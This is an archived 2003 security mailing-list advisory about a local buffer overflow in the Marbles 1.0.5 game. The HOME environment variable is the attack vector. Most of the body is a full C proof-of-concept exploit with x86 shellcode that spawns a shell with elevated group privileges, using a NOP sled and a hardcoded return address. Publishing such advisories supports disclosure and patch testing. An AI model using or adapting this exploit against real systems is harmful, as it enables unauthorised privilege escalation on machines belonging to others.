[EXPL] Marbles HOME Environment Overflow Exploit Code

From: SecuriTeam (support_at_securiteam.com)
Date: 09/29/03

  • Next message: SecuriTeam: "[UNIX] Cfengine Remotely Exploitable Buffer Overflow (net.c)"
    To: list@securiteam.com
    Date: 29 Sep 2003 12:14:55 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      Marbles HOME Environment Overflow Exploit Code
    ------------------------------------------------------------------------

    SUMMARY

    Steve Kemp discovered a buffer overflow in marbles, when processing the
    HOME environment variable. This vulnerability could be exploited by a
    local user to gain gid 'games'. The following exploit can be used to test
    your system for the mentioned vulnerability.

    DETAILS

    Vulnerable systems:
     * Marbles version 1.0.5

    Exploit:
    /* c-marbles.c
     *
     * PoC exploit made for advisory based upon an local stack based overflow.
     * Vulnerable versions, maybe also prior versions:
     *
     * Marbles v1.0.5
     *
     * Tested on: RedHat 9.0
     *
     * Advisory source: Steve Kemp
     * http://www.debian.org/security/2003/dsa-390
     *
     * ---------------------------------------------
     * coded by: demz (c-code.net) (demz@c-code.net)
     * ---------------------------------------------
     *
     */

    #include <stdio.h>
    #include <stdlib.h>

    char shellcode[]=

      "\x31\xc0" // xor eax, eax
            "\x31\xdb" // xor ebx, ebx
            "\x31\xc9" // xor ecx, ecx
            "\xb0\x46" // mov al, 70
            "\xcd\x80" // int 0x80

            "\x31\xc0" // xor eax, eax
            "\x50" // push eax
            "\x68\x6e\x2f\x73\x68" // push long 0x68732f6e
            "\x68\x2f\x2f\x62\x69" // push long 0x69622f2f
            "\x89\xe3" // mov ebx, esp
            "\x50" // push eax
            "\x53" // push ebx
            "\x89\xe1" // mov ecx, esp
            "\x99" // cdq
            "\xb0\x0b" // mov al, 11
            "\xcd\x80" // int 0x80

            "\x31\xc0" // xor eax, eax
            "\xb0\x01" // mov al, 1
            "\xcd\x80"; // int 0x80

    int main()
    {
      unsigned long ret = 0xbffff70c;

      char buffer[3988];
      int i=0;

      memset(buffer, 0x90, sizeof(buffer));

      for (0; i < strlen(shellcode) - 1;i++)
      buffer[2000 + i] = shellcode[i];

      buffer[3988] = (ret & 0x000000ff);
      buffer[3989] = (ret & 0x0000ff00) >> 8;
      buffer[3990] = (ret & 0x00ff0000) >> 16;
      buffer[3991] = (ret & 0xff000000) >> 24;
      buffer[3992] = 0x0;

      printf("\nMarbles v1.0.5 local exploit\n");
            printf("---------------------------------------- demz @ c-code.net
    --\n");

      setenv("HOME", buffer, 1);

      execl("/usr/local/bin/marbles", "marbles", NULL);
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:m00000000000000@hotmail.com>
    demz.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[UNIX] Cfengine Remotely Exploitable Buffer Overflow (net.c)"

    Relevant Pages

    • [UNIX] Ipswitch Collaboration Suite SMTP Server Stack Overflow
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Ipswitch Collaboration Suite SMTP Server Stack Overflow ... This vulnerability allows remote attackers to execute arbitrary code on ...
      (Securiteam)
    • [NT] Microsoft Internet Explorer UTF-8 Decoding Heap Overflow Vulnerability
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Microsoft Internet Explorer UTF-8 Decoding Heap Overflow Vulnerability ...
      (Securiteam)
    • [NT] Windows SMB Client Transaction Response Handling Technical Details (MS05-011)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... eEye Digital Security has discovered a vulnerability in Windows SMB ...
      (Securiteam)
    • [NT] Microsoft Internet Explorer DXImageTransform ActiveX Memory Corruption Vulnerability
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Microsoft Internet Explorer DXImageTransform ActiveX Memory Corruption ... This vulnerability allows remote attackers to execute arbitrary code on ...
      (Securiteam)
    • [NT] w3wp DoS
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... 1/12/2006 - Vendor requested for additional info ... recv(conn_socket, szBuffer, 256, 0); ...
      (Securiteam)